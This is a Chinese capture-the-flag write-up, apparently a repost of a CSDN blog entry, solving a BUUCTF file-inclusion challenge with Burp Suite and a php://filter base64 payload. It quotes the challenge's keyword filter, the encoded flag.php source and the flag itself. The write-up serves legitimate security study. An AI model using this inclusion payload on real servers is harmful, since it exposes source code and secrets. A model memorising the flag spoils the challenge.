1.开启靶机
开启靶机后进入网址,没有什么好的信息
2.按F12查看源代码
发现了一个网址./Archive_room.php按CTRL键点击即可进入,可以看到
点击这个SECRET并没有发生什么,后面倒是说“查阅结束”,那么就说明,速度很快,肉眼看不到,那我们就要借用工具burpsuite。首先下开启代理服务器
3.使用burpsuite
进入到这个界面,软件中应该显示出获取的信息,点击forward直到信息中出现action.php(根据源代码提示)
接着将这串数据发送到repeater,在repeater里我们点击Go就进入到下面的界面
后面的话我们就可以输入网址http://78b3b06a-804f-46c6-8d85-8635948e27ad.node4.buuoj.cn/secr3t.php可以查看源代码(记着要将burpsuite和局域网关闭,否则是打不开的)
4.代码解释
这是一个PHP脚本,以HTML标签开头。该脚本包含了一个PHP函数 highlight_file(__FILE__),该函数可以高亮正在执行的PHP代码。
然后,该脚本设置了 error_reporting(0),以关闭错误报告。
该脚本通过 $_GET 超全局变量接收一个文件名作为参数。然后它检查文件名是否包含以下任何字符串: "../"、"tp"、"input" 或 "data"。如果包含,则脚本会打印 "Oh no!" 并退出。这是一种安全措施,用于防止目录遍历攻击并保护服务器免受恶意文件包含的攻击。
如果文件名通过了安全检查,该脚本将使用 include 语句包含该文件。被包含的文件的内容将作为PHP代码执行。
标志存储在名为 "flag.php" 的文件中,该文件可能由此脚本包含。
5.PHP伪协议
看到flag.php应该联想到php伪协议,在后面加上
?file=php://filter/read=convert.base64-encode/resource=flag.php即可。
这是因为 php://filter/read=convert.base64-encode 是一种 PHP 伪协议,用于将文件转换为 base64 格式。通过在 $_GET 超全局变量中传递 file=php://filter/read=convert.base64-encode/resource=flag.php,我们可以读取 flag.php 文件的内容并将其转换为 base64 格式。然后,我们可以将该内容解码并查看其中是否包含有用的信息。
就会给出一堆符号的组合,显然这是base64的密文,接着在base64解密下即可求得flag
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7Mzk2MDEzYmItZjRkNC00NThjLWJmYWItYzhmODk4ZmI4Zjc0fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
6.解密得到flag
base64在线解密网址:http://www.jsons.cn/base64/
flag为flag{396013bb-f4d4-458c-bfab-c8f898fb8f74}
7、总结
在做这道题的时候,主要是会使用burpsuite工具,并且还要了解PHP伪协议的一些知识及概念,最后还用到了一些密码里的base64,这些都需要了解一下。
来源地址:https://blog.csdn.net/m0_74047686/article/details/129329951